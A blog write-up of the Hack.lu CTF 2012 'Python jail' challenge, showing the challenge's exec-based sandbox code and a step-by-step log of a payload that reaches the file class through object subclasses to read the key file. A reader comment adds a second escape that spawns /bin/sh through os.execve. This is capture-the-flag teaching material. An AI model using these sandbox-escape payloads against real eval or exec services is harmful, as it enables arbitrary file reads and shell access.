HackLu CTF 2012 – Python jail (200) Write-up

Python jail
You are surrounded by zombies. You heard there’s a safe house nearby, but climbing fences is hard with a beer belly. Thank god, there’s another surviver over there. “Hey! Help me!”, you shout. He just laughs and shakes you off the fence. Asshole. Later, you see his dead body lying in front of a high security door secured by automated weapons. Heh… karma is a bitch. But that means you’ll have to find another way in. In this nerd area, all the doors are secured with stupid computer puzzles. So, what the heck.

Better try this one:
https://ctf.fluxfingers.net/challenges/python_jail/chal.py
ctf.fluxfingers.net tcp/2045

Hint: You’ll find the entrance in “./key”

This is the source code of the Python jail service:

#!/usr/bin/env python
'''
Running instructions.
 sockets are insecure. We do not implement any socket behaviour in this
 file.
 Please make this file +x and run with socat:
    socat TCP-LISTEN:45454,fork EXEC:./chal.py,pty,stderr

Debugging:
 Just execute chal.py and play on terminal, no need to run socat

Note:
 This challenge is a tribute to PHDays Finals 2012 challenge 'ndevice'.
 Thanks again, I had fun solving it.
 
 I'm fairly certain that this challenge avoids being exploitable by
 the tricks we could use in PHDays (the module "os" was imported...).
 So, no advantage for people who did not attend PHDays.
 

'''

def make_secure():
        UNSAFE_BUILTINS = ['open',
        'file',
        'execfile',
        'compile',
        'reload',
        '__import__',
        'eval',
        'input'] ## block objet?
        for func in UNSAFE_BUILTINS:
            del __builtins__.__dict__[func]

from re import findall
make_secure()


print 'Go Ahead, Expoit me >;D'


while True:
    try:
        inp = findall('\S+', raw_input())[0]
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
        print 'Exception:', e

First of all, you should take a look at this blogpost by Ned Batchelder detailing how Python sandboxes that restrict access to the builtins can be bypassed:

* http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

So basically you can get a list of all the subclasses of object that have been instantiated at this point this way:

().__class__.__bases__[0].__subclasses__()

Once we have the list of all classes, we can grab the ‘file’ class and instantiate it in order to read the content of the ‘./key’ file, which is the flag for this challenge.
Note that when sending input to the service sometimes I use “1; <other_python_statement>” so the “1” gets assigned to the “a” variable, which I don’t care about.

Note 2: according to my tests, if you use spaces in your input, an exception will be raised.

So this is the full log of how I did it:

Go Ahead, Expoit me >;D
1;classes=().__class__.__bases__[0].__subclasses__()
Return Value: 1

classes
Return Value: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>]

1;fileclass=classes[40]
Return Value: 1

fileclass
Return Value: <type 'file'>

1;fd=fileclass('./key','r')
Return Value: 1

1;key=fd.read()
Return Value: 1

1;fd.close()
Return Value: 1

key
Return Value: FvibLF0eBkCBk

So the flag for this challenge was: FvibLF0eBkCBk.

Advertisements

2 thoughts on “HackLu CTF 2012 – Python jail (200) Write-up

  1. Hi, My solution was this one:
    1;os=findall.__globals__[“sys”].modules[“os”]
    1;os.execve(“/bin/sh”,[“/bin/sh”])

    Your solution is very elegant because it doesn’t need an existing package to be loaded to work (I think)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s